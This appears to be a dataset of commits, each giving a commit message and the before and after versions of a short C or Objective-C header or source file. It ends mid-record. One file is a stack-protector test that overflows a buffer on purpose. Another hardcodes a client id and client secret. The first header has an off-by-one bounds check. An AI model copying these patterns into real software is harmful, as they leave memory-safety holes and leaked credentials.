#define _IPCREG_INTERNAL_H_
#include "ipcd.h"
#include <assert.h>
typedef enum {
STATE_UNOPT = 0,
STATE_ID_EXCHANGE,
STATE_OPTIMIZED,
STATE_LOCALFD
} EndpointState;
typedef struct {
size_t bytes_trans;
int localfd;
endpoint ep;
EndpointState state;
bool valid;
} ipc_info;
// For now, just index directly into pre-allocate table with fd.
// We will also need a way to go from nonce to fd!
const unsigned TABLE_SIZE = 1 << 10;
extern ipc_info IpcDescTable[TABLE_SIZE];
static inline char inbounds_fd(int fd) { return (unsigned)fd <= TABLE_SIZE; }
static inline ipc_info *getFDDesc(int fd) {
if (!inbounds_fd(fd)) {
ipclog("Attempt to access out-of-bounds fd: %d (TABLE_SIZE=%u)\n", fd,
TABLE_SIZE);
}
assert(inbounds_fd(fd));
return &IpcDescTable[fd];
}
#endif // _IPCREG_INTERNAL_H_
|
Add header function for creating new monitors. | #ifdef E_TYPEDEFS
#else
# ifndef E_SMART_MONITOR_H
# define E_SMART_MONITOR_H
# endif
#endif
| #ifdef E_TYPEDEFS
#else
# ifndef E_SMART_MONITOR_H
# define E_SMART_MONITOR_H
Evas_Object *e_smart_monitor_add(Evas *evas);
# endif
#endif
|
Fix VersionNumber comparison operator constness | /*
* Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_
#define SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_
#include <tuple>
namespace perfetto {
namespace trace_processor {
struct VersionNumber {
uint32_t major;
uint32_t minor;
bool operator==(const VersionNumber& other) {
return std::tie(major, minor) == std::tie(other.major, other.minor);
}
bool operator<(const VersionNumber& other) {
return std::tie(major, minor) < std::tie(other.major, other.minor);
}
bool operator>=(const VersionNumber& other) {
return std::tie(major, minor) >= std::tie(other.major, other.minor);
}
};
} // namespace trace_processor
} // namespace perfetto
#endif // SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_
| /*
* Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_
#define SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_
#include <tuple>
namespace perfetto {
namespace trace_processor {
struct VersionNumber {
uint32_t major;
uint32_t minor;
bool operator==(const VersionNumber& other) const {
return std::tie(major, minor) == std::tie(other.major, other.minor);
}
bool operator<(const VersionNumber& other) const {
return std::tie(major, minor) < std::tie(other.major, other.minor);
}
bool operator>=(const VersionNumber& other) const {
return std::tie(major, minor) >= std::tie(other.major, other.minor);
}
};
} // namespace trace_processor
} // namespace perfetto
#endif // SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_
|
Remove the inflector from the router protocol | //
// APIRouter.h
// APIClient
//
// Created by Klaas Pieter Annema on 14-09-13.
// Copyright (c) 2013 Klaas Pieter Annema. All rights reserved.
//
#import <Foundation/Foundation.h>
#import "APIInflector.h"
@protocol APIRouter <NSObject>
@property (nonatomic, readonly, strong) id<APIInflector> inflector;
- (NSString *)pathForAction:(NSString *)action onResource:(Class)resource;
@end
@interface APIRouter : NSObject <APIRouter>
- (id)initWithInflector:(id<APIInflector>)inflector;
- (NSString *)pathForAction:(NSString *)action onResource:(Class)resource;
@end
| //
// APIRouter.h
// APIClient
//
// Created by Klaas Pieter Annema on 14-09-13.
// Copyright (c) 2013 Klaas Pieter Annema. All rights reserved.
//
#import <Foundation/Foundation.h>
#import "APIInflector.h"
@protocol APIRouter <NSObject>
- (NSString *)pathForAction:(NSString *)action onResource:(Class)resource;
@end
@interface APIRouter : NSObject <APIRouter>
@property (nonatomic, readonly, strong) id<APIInflector> inflector;
- (id)initWithInflector:(id<APIInflector>)inflector;
- (NSString *)pathForAction:(NSString *)action onResource:(Class)resource;
@end
|
Check for defines before defining to get rid of some warnings. | #pragma once
#if defined(_MSC_VER)
#define DLL_API __declspec(dllexport)
#define STDCALL __stdcall
#define CDECL __cdecl
#else
#define DLL_API __attribute__ ((visibility ("default")))
#define STDCALL __attribute__((stdcall))
#define CDECL __attribute__((cdecl))
#endif
#define CS_OUT | #pragma once
#if defined(_MSC_VER)
#define DLL_API __declspec(dllexport)
#ifndef STDCALL
#define STDCALL __stdcall
#endif
#ifndef CDECL
#define CDECL __cdecl
#endif
#else
#define DLL_API __attribute__ ((visibility ("default")))
#ifndef STDCALL
#define STDCALL __attribute__((stdcall))
#endif
#ifndef CDECL
#define CDECL __attribute__((cdecl))
#endif
#endif
#define CS_OUT |
Add basic interface for recordable modules | //
// CLURecordableModule.h
// Clue
//
// Created by Ahmed Sulaiman on 5/18/16.
// Copyright © 2016 Ahmed Sulaiman. All rights reserved.
//
#import <Foundation/Foundation.h>
@protocol CLURecordableModule <NSObject>
@required
- (void)startRecording;
- (void)stopRecording;
- (BOOL)addNewFrameWithTimestamp:(CFTimeInterval)timestamp;
@end
| |
Set up a client id and a client secret for production environment | //
// SecretConstant.example.h
// PHPHub
//
// Created by Aufree on 9/30/15.
// Copyright (c) 2015 ESTGroup. All rights reserved.
//
#define Client_id @"kHOugsx4dmcXwvVbmLkd"
#define Client_secret @"PuuFCrF94MloSbSkxpwS"
#define UMENG_APPKEY @"Set up UMEng App Key"
#define UMENG_QQ_ID @"Set up qq id"
#define UMENG_QQ_APPKEY @"Set up qq appkey"
#define WX_APP_ID @"Set up weixin app id"
#define WX_APP_SECRET @"Set up weixin app secret"
#define TRACKING_ID @"Set up google anlytics tracking id" | //
// SecretConstant.example.h
// PHPHub
//
// Created by Aufree on 9/30/15.
// Copyright (c) 2015 ESTGroup. All rights reserved.
//
#if DEBUG
#define Client_id @"kHOugsx4dmcXwvVbmLkd"
#define Client_secret @"PuuFCrF94MloSbSkxpwS"
#else
#define Client_id @"Set up a client id for production env"
#define Client_secret @"Set up a client secret for production env"
#endif
#define UMENG_APPKEY @"Set up UMEng App Key"
#define UMENG_QQ_ID @"Set up qq id"
#define UMENG_QQ_APPKEY @"Set up qq appkey"
#define WX_APP_ID @"Set up weixin app id"
#define WX_APP_SECRET @"Set up weixin app secret"
#define TRACKING_ID @"Set up google anlytics tracking id" |
Fix Pester prefix header to import Cocoa again. | //
// Prefix header for all source files of the 'Pester' target in the 'Pester' project
//
#import "NJROperatingSystemVersion.h" | //
// Prefix header for all source files of the 'Pester' target in the 'Pester' project
//
#ifdef __OBJC__
#import <Cocoa/Cocoa.h>
#import "NJROperatingSystemVersion.h"
#endif
|
Add ability to set base URL | //
// PKTClient.h
// PodioKit
//
// Created by Sebastian Rehnby on 16/01/14.
// Copyright (c) 2014 Citrix Systems, Inc. All rights reserved.
//
#import "PKTRequest.h"
#import "PKTResponse.h"
#import "PKTRequestSerializer.h"
#import "PKTResponseSerializer.h"
typedef void(^PKTRequestCompletionBlock)(PKTResponse *response, NSError *error);
@interface PKTHTTPClient : NSObject
@property (nonatomic, copy, readonly) NSURL *baseURL;
@property (nonatomic, strong, readonly) PKTRequestSerializer *requestSerializer;
@property (nonatomic, strong, readonly) PKTResponseSerializer *responseSerializer;
/**
* Controls whether or not to pin the server public key to that of any .cer certificate included in the app bundle.
*/
@property (nonatomic) BOOL useSSLPinning;
- (NSURLSessionTask *)taskForRequest:(PKTRequest *)request completion:(PKTRequestCompletionBlock)completion;
@end
| //
// PKTClient.h
// PodioKit
//
// Created by Sebastian Rehnby on 16/01/14.
// Copyright (c) 2014 Citrix Systems, Inc. All rights reserved.
//
#import "PKTRequest.h"
#import "PKTResponse.h"
#import "PKTRequestSerializer.h"
#import "PKTResponseSerializer.h"
typedef void(^PKTRequestCompletionBlock)(PKTResponse *response, NSError *error);
@interface PKTHTTPClient : NSObject
@property (nonatomic, copy) NSURL *baseURL;
@property (nonatomic, strong, readonly) PKTRequestSerializer *requestSerializer;
@property (nonatomic, strong, readonly) PKTResponseSerializer *responseSerializer;
/**
* Controls whether or not to pin the server public key to that of any .cer certificate included in the app bundle.
*/
@property (nonatomic) BOOL useSSLPinning;
- (NSURLSessionTask *)taskForRequest:(PKTRequest *)request completion:(PKTRequestCompletionBlock)completion;
@end
|
Fix previous commit: by committing new include file. | //---------------------------------------------------------- -*- Mode: C++ -*-
// $Id$
//
// Created 2012/10/25
// Author: Mike Ovsiannikov
//
// Copyright 2012 Quantcast Corp.
//
// This file is part of Kosmos File System (KFS).
//
// Licensed under the Apache License, Version 2.0
// (the "License"); you may not use this file except in compliance with
// the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
// implied. See the License for the specific language governing
// permissions and limitations under the License.
//
// \file nofilelimit.h
// \brief function to set process max number of open files.
//
//----------------------------------------------------------------------------
#ifndef KFS_NOFILELIMIT_H
#define KFS_NOFILELIMIT_H
namespace KFS {
int SetMaxNoFileLimit();
}
#endif /* KFS_NOFILELIMIT_H */
| |
Allow all RTS options to iserv | #include "../rts/PosixSource.h"
#include "Rts.h"
#include "HsFFI.h"
int main (int argc, char *argv[])
{
RtsConfig conf = defaultRtsConfig;
// We never know what symbols GHC will look up in the future, so
// we must retain CAFs for running interpreted code.
conf.keep_cafs = 1;
extern StgClosure ZCMain_main_closure;
hs_main(argc, argv, &ZCMain_main_closure, conf);
}
| #include "../rts/PosixSource.h"
#include "Rts.h"
#include "HsFFI.h"
int main (int argc, char *argv[])
{
RtsConfig conf = defaultRtsConfig;
// We never know what symbols GHC will look up in the future, so
// we must retain CAFs for running interpreted code.
conf.keep_cafs = 1;
conf.rts_opts_enabled = RtsOptsAll;
extern StgClosure ZCMain_main_closure;
hs_main(argc, argv, &ZCMain_main_closure, conf);
}
|
Add test for octApron combine forgetting return assign locally | // SKIP PARAM: --sets ana.activated[+] octApron
#include <assert.h>
int f(int x) {
return x + 1;
}
int main(void) {
int y = 42;
y = f(42);
// combine should forget caller's y before unifying with y == 43 to avoid bottom
assert(y);
return 0;
}
| |
Fix compilation error when stack protector is enabled | /*
* Copyright (c) 2017-2018, ARM Limited and Contributors. All rights reserved.
*
* SPDX-License-Identifier: BSD-3-Clause
*/
#include <stdint.h>
#include <lib/utils.h>
#include "rpi3_private.h"
/* Get 128 bits of entropy and fuse the values together to form the canary. */
#define TRNG_NBYTES 16U
u_register_t plat_get_stack_protector_canary(void)
{
size_t i;
u_register_t buf[TRNG_NBYTES / sizeof(u_register_t)];
u_register_t ret = 0U;
rpi3_rng_read(buf, sizeof(buf));
for (i = 0U; i < ARRAY_SIZE(buf); i++)
ret ^= buf[i];
return ret;
}
| /*
* Copyright (c) 2017-2019, ARM Limited and Contributors. All rights reserved.
*
* SPDX-License-Identifier: BSD-3-Clause
*/
#include <stdint.h>
#include <lib/utils.h>
#include <lib/utils_def.h>
#include "rpi3_private.h"
/* Get 128 bits of entropy and fuse the values together to form the canary. */
#define TRNG_NBYTES 16U
u_register_t plat_get_stack_protector_canary(void)
{
size_t i;
u_register_t buf[TRNG_NBYTES / sizeof(u_register_t)];
u_register_t ret = 0U;
rpi3_rng_read(buf, sizeof(buf));
for (i = 0U; i < ARRAY_SIZE(buf); i++)
ret ^= buf[i];
return ret;
}
|
Add prototype for seekdir() for Suns. | #ifndef DIRECTORY_H
#define DIRECTORY_H
#if defined (ULTRIX42) || defined(ULTRIX43) /* _POSIX_SOURCE should have taken care of this, */
#define __POSIX /* but for some reason the ULTRIX version of dirent.h */
#endif /* is not POSIX conforming without it... */
#include <dirent.h>
class Directory
{
public:
Directory( const char *name );
~Directory();
void Rewind();
char *Next();
private:
DIR *dirp;
};
#endif
| #ifndef DIRECTORY_H
#define DIRECTORY_H
#if defined (ULTRIX42) || defined(ULTRIX43)
/* _POSIX_SOURCE should have taken care of this,
but for some reason the ULTRIX version of dirent.h
is not POSIX conforming without it...
*/
# define __POSIX
#endif
#include <dirent.h>
#if defined(SUNOS41)
/* Note that function seekdir() is not required by POSIX, but the sun
implementation of rewinddir() (which is required by POSIX) is
a macro utilizing seekdir(). Thus we need the prototype.
*/
extern "C" void seekdir( DIR *dirp, int loc );
#endif
class Directory
{
public:
Directory( const char *name );
~Directory();
void Rewind();
char *Next();
private:
DIR *dirp;
};
#endif
|
Add basic test for long constants |
/*
name: TEST023
description: Basic test for long constants
comments: This test is done for z80 data types
output:
F1
G1 F1 main
{
-
A2 W i
A3 Z u
A2 #W1 :W
A2 #WFFFFFFFF :W
A2 #WFFFFFFFF :W
A2 #WFFFFFFFF :W
A2 #WFFFFFFFF :W
A2 #W3 :W
A2 #W1 :W
A2 #W0 :W
A3 #Z1 :Z
A3 #ZFFFFFFFF :Z
A3 #ZFFFFFFFF :Z
A3 #ZFFFFFFFF :Z
A3 #ZFFFFFFFF :Z
A3 #Z3 :Z
A3 #Z1 :Z
A3 #Z0 :Z
y #I0
}
*/
int
main(void)
{
long i;
unsigned long u;
i = 1;
i = -1;
i = -1l;
i = -1u;
i = -1ll;
i = (1ll << 32) - 1 & 3;
i = (long) ((1ll << 32) - 1) < 0;
i = -1u < 0;
u = 1;
u = -1;
u = -1l;
u = -1u;
u = -1ll;
u = (1ll << 32) - 1 & 3;
u = (long) ((1ll << 32) - 1) < 0;
u = -1u < 0;
return 0;
}
| |
Add setup and teardown for hashtable tests | /*
* File: test_hashtable.c
*
* Testing suite for hashtables.
*
* Author: Jack Romo <sharrackor@gmail.com>
*/
#include "../cnoodle.h"
#include <glib.h>
#include <stdio.h>
#include <stdlib.h>
typedef struct {
hashtable table;
} hfixture;
void table_setup(hfixture *hf, gconstpointer test_data) {
hf->table = make_hashtable();
t_entity *ent1 = make_entity(NULL, 0, 0, NULL);
ent1->id = 0;
hashtable_add(*(hf->table), (void *) ent1, ENTITY);
t_entity *ent2 = make_entity(NULL, 1, 1, (void *) ent1);
ent2->id = 1;
hashtable_add(*(hf->table), (void *) ent2, ENTITY);
}
void table_teardown(hfixture *hf, gconstpointer test_data) {
hashtable_free(hf->table);
}
// TODO: tests here
int main() {
// TODO: run tests here
}
| |
Add forward declaration for QComboBox | /*
kngrouppropdlg.h
KNode, the KDE newsreader
Copyright (c) 1999-2001 the KNode authors.
See file AUTHORS for details
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software Foundation,
Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, US
*/
#ifndef KNGROUPPROPDLG_H
#define KNGROUPPROPDLG_H
#include <kdialogbase.h>
class QCheckBox;
class KLineEdit;
class KNGroup;
namespace KNConfig {
class IdentityWidget;
};
class KNGroupPropDlg : public KDialogBase {
public:
KNGroupPropDlg(KNGroup *group, QWidget *parent=0, const char *name=0);
~KNGroupPropDlg();
bool nickHasChanged() { return n_ickChanged; }
protected:
KNGroup *g_rp;
bool n_ickChanged;
KNConfig::IdentityWidget* i_dWidget;
KLineEdit *n_ick;
QCheckBox *u_seCharset;
QComboBox *c_harset;
protected slots:
void slotOk();
};
#endif
| /*
kngrouppropdlg.h
KNode, the KDE newsreader
Copyright (c) 1999-2001 the KNode authors.
See file AUTHORS for details
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software Foundation,
Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, US
*/
#ifndef KNGROUPPROPDLG_H
#define KNGROUPPROPDLG_H
#include <kdialogbase.h>
class QCheckBox;
class QComboBox;
class KLineEdit;
class KNGroup;
namespace KNConfig {
class IdentityWidget;
};
class KNGroupPropDlg : public KDialogBase {
public:
KNGroupPropDlg(KNGroup *group, QWidget *parent=0, const char *name=0);
~KNGroupPropDlg();
bool nickHasChanged() { return n_ickChanged; }
protected:
KNGroup *g_rp;
bool n_ickChanged;
KNConfig::IdentityWidget* i_dWidget;
KLineEdit *n_ick;
QCheckBox *u_seCharset;
QComboBox *c_harset;
protected slots:
void slotOk();
};
#endif
|
Update umbrella header file declaration | //
// Paystack.h
// Paystack
//
// Created by Ibrahim Lawal on 02/02/16.
// Copyright (c) 2016 Paystack. All rights reserved.
//
// The code in this workspace was adapted from https://github.com/stripe/stripe-ios.
// Stripe was replaced with Paystack - and STP with PSTCK - to avoid collisions within
// apps that are using both Paystack and Stripe.
#import <Paystack/PSTCKAPIClient.h>
#import <Paystack/PaystackError.h>
#import <Paystack/PSTCKCardBrand.h>
#import <Paystack/PSTCKCardParams.h>
#import <Paystack/PSTCKTransactionParams.h>
#import <Paystack/PSTCKCard.h>
#import <Paystack/PSTCKCardValidationState.h>
#import <Paystack/PSTCKCardValidator.h>
#import <Paystack/PSTCKToken.h>
#import <Paystack/PSTCKRSA.h>
#if TARGET_OS_IPHONE
#import <Paystack/PSTCKPaymentCardTextField.h>
#endif
| //
// Paystack.h
// Paystack
//
// Created by Ibrahim Lawal on 02/02/16.
// Copyright (c) 2016 Paystack. All rights reserved.
//
// The code in this workspace was adapted from https://github.com/stripe/stripe-ios.
// Stripe was replaced with Paystack - and STP with PSTCK - to avoid collisions within
// apps that are using both Paystack and Stripe.
#import "PSTCKAPIClient.h"
#import "PaystackError.h"
#import "PSTCKCardBrand.h"
#import "PSTCKCardParams.h"
#import "PSTCKTransactionParams.h"
#import "PSTCKCard.h"
#import "PSTCKCardValidationState.h"
#import "PSTCKCardValidator.h"
#import "PSTCKToken.h"
#import "PSTCKRSA.h"
#if TARGET_OS_IPHONE
#import "PSTCKPaymentCardTextField.h"
#endif
|
Create file to implement commands | #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define PFIX_CLI "[MTd]"
#define MAX_BUF_SIZE 200
int mtd_server_cmd_run_HOSTNAME(char *msg_cmd, char *message);
/* Get hostname */
int mtd_server_cmd_run_HOSTNAME(char *msg_cmd, char *message)
{
FILE *fd;
char str_cmd[MAX_BUF_SIZE], str_buf[MAX_BUF_SIZE];
memset (str_cmd, 0, MAX_BUF_SIZE);
/* Create a command */
sprintf(str_cmd, "hostname");
/* Run a command */
fd = popen(str_cmd, "r");
if (!fd) {
sprintf(message, "%s_%s ERR%% Error reading hostname.", PFIX_CLI, msg_cmd);
return 1;
}
/* Get command stdout */
while (fgets (str_buf, sizeof (str_buf), fd) <= 0);
pclose (fd);
sprintf(message, "%s_%s OK# Hostname is: %s", PFIX_CLI, msg_cmd, str_buf);
return 0;
}
| |
Revert "Changed macro to look specifically for NS_STRING_ENUM" | //
// SDLMacros.h
// SmartDeviceLink-iOS
//
// Created by Muller, Alexander (A.) on 10/17/16.
// Copyright © 2016 smartdevicelink. All rights reserved.
//
#ifndef SDLMacros_h
#define SDLMacros_h
// Resolves issue of pre-xcode 8 versions due to NS_STRING_ENUM unavailability.
#ifndef SDL_SWIFT_ENUM
#if __has_attribute(NS_STRING_ENUM)
#define SDL_SWIFT_ENUM NS_STRING_ENUM
#else
#define SDL_SWIFT_ENUM
#endif
#endif
#endif /* SDLMacros_h */
| //
// SDLMacros.h
// SmartDeviceLink-iOS
//
// Created by Muller, Alexander (A.) on 10/17/16.
// Copyright © 2016 smartdevicelink. All rights reserved.
//
#ifndef SDLMacros_h
#define SDLMacros_h
// Resolves issue of pre-xcode 8 versions due to NS_STRING_ENUM unavailability.
#ifndef SDL_SWIFT_ENUM
#if __has_attribute(swift_wrapper)
#define SDL_SWIFT_ENUM NS_STRING_ENUM
#else
#define SDL_SWIFT_ENUM
#endif
#endif
#endif /* SDLMacros_h */
|
Update integer limits to comply with spec | #define CHAR_BIT 8
#define INT_MAX 2147483647
#define INT_MIN -2147483648
#define LONG_MAX 0x7fffffffffffffffL
#define LONG_MIN -0x8000000000000000L
#define SCHAR_MAX 127
#define SCHAR_MIN -128
#define CHAR_MAX 127
#define CHAR_MIN -128
#define SHRT_MAX 32767
#define SHRT_MIN -32768
#define UCHAR_MAX 255
#define USHRT_MAX 65535
#define UINT_MAX 0xffffffff
#define ULONG_MAX 0xffffffffffffffffUL
| #define CHAR_BIT 8
#define INT_MAX 2147483647
#define INT_MIN ((int)(-2147483647 - 1))
#define LONG_MAX 0x7fffffffffffffffL
#define LONG_MIN (-0x7fffffffffffffffL - 1)
#define CHAR_MAX SCHAR_MAX
#define CHAR_MIN SCHAR_MIN
#define SCHAR_MAX 127
#define SCHAR_MIN ((char)(-127 - 1))
#define SHRT_MAX 32767
#define SHRT_MIN ((short)(-32767 - 1))
#define UCHAR_MAX 255
#define USHRT_MAX 65535
#define UINT_MAX 0xffffffff
#define ULONG_MAX 0xffffffffffffffffUL
|
Move the SilentPushCompletionHandler typedef in here | //
// DataUtils.h
// CFC_Tracker
//
// Created by Kalyanaraman Shankari on 3/9/15.
// Copyright (c) 2015 Kalyanaraman Shankari. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>
@interface BEMServerSyncCommunicationHelper: NSObject
// Top level method
+ (void) backgroundSync:(void (^)(UIBackgroundFetchResult))completionHandler;
// Wrappers around the communication methods
+ (void) pushAndClearUserCache:(void (^)(BOOL))completionHandler;
+ (void) pullIntoUserCache:(void (^)(BOOL))completionHandler;
+ (void) pushAndClearStats:(void (^)(BOOL))completionHandler;
// Communication methods (copied from communication handler to make it generic)
+(void)phone_to_server:(NSArray*) entriesToPush
completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;
+(void)server_to_phone:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;
+(void)setClientStats:(NSDictionary*)statsToSend completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;
+ (NSInteger)fetchedData:(NSData *)responseData;
@end
| //
// DataUtils.h
// CFC_Tracker
//
// Created by Kalyanaraman Shankari on 3/9/15.
// Copyright (c) 2015 Kalyanaraman Shankari. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>
typedef void (^SilentPushCompletionHandler)(UIBackgroundFetchResult);
@interface BEMServerSyncCommunicationHelper: NSObject
// Top level method
+ (void) backgroundSync:(SilentPushCompletionHandler)completionHandler;
// Wrappers around the communication methods
+ (void) pushAndClearUserCache:(void (^)(BOOL))completionHandler;
+ (void) pullIntoUserCache:(void (^)(BOOL))completionHandler;
+ (void) pushAndClearStats:(void (^)(BOOL))completionHandler;
// Communication methods (copied from communication handler to make it generic)
+(void)phone_to_server:(NSArray*) entriesToPush
completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;
+(void)server_to_phone:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;
+(void)setClientStats:(NSDictionary*)statsToSend completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;
+ (NSInteger)fetchedData:(NSData *)responseData;
@end
|
Use 256 cols when in PHS mode. | #pragma once
#include <stdlib.h>
#include <stdint.h>
#define PHS_NCOLS 64
int lyra2(char *key, uint32_t keylen, const char *pwd, uint32_t pwdlen, const char *salt, uint32_t saltlen, uint32_t R, uint32_t C, uint32_t T);
int PHS(void *out, size_t outlen, const void *in, size_t inlen, const void *salt, size_t saltlen, unsigned int t_cost, unsigned int m_cost);
| #pragma once
#include <stdlib.h>
#include <stdint.h>
#define PHS_NCOLS 256
int lyra2(char *key, uint32_t keylen, const char *pwd, uint32_t pwdlen, const char *salt, uint32_t saltlen, uint32_t R, uint32_t C, uint32_t T);
int PHS(void *out, size_t outlen, const void *in, size_t inlen, const void *salt, size_t saltlen, unsigned int t_cost, unsigned int m_cost);
|
Define different lookup levels for PAE | /*
* Copyright 2014, NICTA
*
* This software may be distributed and modified according to the terms of
* the BSD 2-Clause license. Note that NO WARRANTY is provided.
* See "LICENSE_BSD2.txt" for details.
*
* @TAG(NICTA_BSD)
*/
#ifndef __LIBSEL4_ARCH_MAPPING
#define __LIBSEL4_ARCH_MAPPING
#define SEL4_MAPPING_LOOKUP_LEVEL 2
#define SEL4_MAPPING_LOOKUP_NO_PT 22
static inline seL4_Word seL4_MappingFailedLookupLevel()
{
return seL4_GetMR(SEL4_MAPPING_LOOKUP_LEVEL);
}
#endif
| /*
* Copyright 2014, NICTA
*
* This software may be distributed and modified according to the terms of
* the BSD 2-Clause license. Note that NO WARRANTY is provided.
* See "LICENSE_BSD2.txt" for details.
*
* @TAG(NICTA_BSD)
*/
#ifndef __LIBSEL4_ARCH_MAPPING
#define __LIBSEL4_ARCH_MAPPING
#include <autoconf.h>
#define SEL4_MAPPING_LOOKUP_LEVEL 2
#ifdef CONFIG_PAE_PAGING
#define SEL4_MAPPING_LOOKUP_NO_PT 21
#define SEL4_MAPPING_LOOKUP_NO_PD 30
#else
#define SEL4_MAPPING_LOOKUP_NO_PT 22
#endif
static inline seL4_Word seL4_MappingFailedLookupLevel()
{
return seL4_GetMR(SEL4_MAPPING_LOOKUP_LEVEL);
}
#endif
|
Fix on macOS while compiling w/ clang | /*
* Copyright (C) 2016 Kaspar Schleiser <kaspar@schleiser.de>
*
* This file is subject to the terms and conditions of the GNU Lesser
* General Public License v2.1. See the file LICENSE in the top level
* directory for more details.
*/
/**
* @ingroup tests
* @{
*
* @file
* @brief ssp test application
*
* This test should crash badly when *not* using the ssp module, and panic if
* using it.
*
* @author Kaspar Schleiser <kaspar@schleiser.de>
*
* @}
*/
#include <stdio.h>
#include <string.h>
void test_func(void)
{
char buf[16];
/* cppcheck-suppress bufferAccessOutOfBounds
* (reason: deliberately overflowing stack) */
memset(buf, 0, 32);
}
int main(void)
{
puts("calling stack corruption function");
test_func();
puts("back to main");
return 0;
}
| /*
* Copyright (C) 2016 Kaspar Schleiser <kaspar@schleiser.de>
*
* This file is subject to the terms and conditions of the GNU Lesser
* General Public License v2.1. See the file LICENSE in the top level
* directory for more details.
*/
/**
* @ingroup tests
* @{
*
* @file
* @brief ssp test application
*
* This test should crash badly when *not* using the ssp module, and panic if
* using it.
*
* @author Kaspar Schleiser <kaspar@schleiser.de>
*
* @}
*/
#include <stdio.h>
#include <string.h>
void test_func(void)
{
char buf[16];
/* clang will detect the buffer overflow
* and throw an error if we use `buf` directly */
void *buffer_to_confuse_compiler = buf;
/* cppcheck-suppress bufferAccessOutOfBounds
* (reason: deliberately overflowing stack) */
memset(buffer_to_confuse_compiler, 0, 32);
}
int main(void)
{
puts("calling stack corruption function");
test_func();
puts("back to main");
return 0;
}
|
Add command to see output of preprocessor | /*
* Author: NagaChaitanya Vellanki
*
* TRY/THROW/CATCH/FINALLY - example
* Reference: http://www.di.unipi.it/~nids/docs/longjump_try_trow_catch.html
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <setjmp.h>
#define FOO_EXCEPTION (1)
#define BAR_EXCEPTION (2)
#define GOO_EXCEPTION (3)
#define TRY do{ jmp_buf env; switch(setjmp(env)) { case 0: while(1) {
#define CATCH(exception) break; case exception:
#define FINALLY break; } default:
#define END_TRY } }while(0)
#define THROW(exception) longjmp(env, exception)
int main(int argc, char *argv[]) {
TRY {
printf("In TRY statement\n");
THROW(GOO_EXCEPTION);
printf("not reachable\n");
}
CATCH(FOO_EXCEPTION) {
printf("FOO exception caught\n");
}
CATCH(BAR_EXCEPTION) {
printf("BAR exception caught\n");
}
CATCH(GOO_EXCEPTION) {
printf("GOO exception caught\n");
}
FINALLY {
printf("Finally \n");
}
END_TRY;
exit(EXIT_SUCCESS);
}
| /*
* Author: NagaChaitanya Vellanki
*
* TRY/THROW/CATCH/FINALLY - example
* Reference: http://www.di.unipi.it/~nids/docs/longjump_try_trow_catch.html
*
* use gcc -E -P exception_handling_3.c to see the result of the preprocessing
* step
*/
#include <stdio.h>
#include <stdlib.h>
#include <setjmp.h>
#define FOO_EXCEPTION (1)
#define BAR_EXCEPTION (2)
#define GOO_EXCEPTION (3)
#define TRY do{ jmp_buf env; switch(setjmp(env)) { case 0: while(1) {
#define CATCH(exception) break; case exception:
#define FINALLY break; } default:
#define END_TRY } }while(0)
#define THROW(exception) longjmp(env, exception)
int main(int argc, char *argv[]) {
TRY {
printf("In TRY statement\n");
THROW(GOO_EXCEPTION);
printf("not reachable\n");
}
CATCH(FOO_EXCEPTION) {
printf("FOO exception caught\n");
}
CATCH(BAR_EXCEPTION) {
printf("BAR exception caught\n");
}
CATCH(GOO_EXCEPTION) {
printf("GOO exception caught\n");
}
FINALLY {
printf("Finally \n");
}
END_TRY;
exit(EXIT_SUCCESS);
}
|
Add more flags and documentation | #ifndef TIMER_H_
#define TIMER_H_ 1
/*
* By default, the timer calls the function a few extra times that aren't
* measured to get it into cache and ensure more consistent running times.
* Specifying this option in flags will stop this.
*/
#define TIMER_NO_EXTRA 1
struct timer {
unsigned long long ns;
unsigned int reps;
};
/*
* Measures function 'func'. Sets timer->ns to the number of nanoseconds it took,
* and timer->reps to the number of repetitions. Uses the existing values of
* timer->ns and timer->reps as maximums - it won't do any more repetitions or take
* significantly more time than those specify. However, you can set one of them
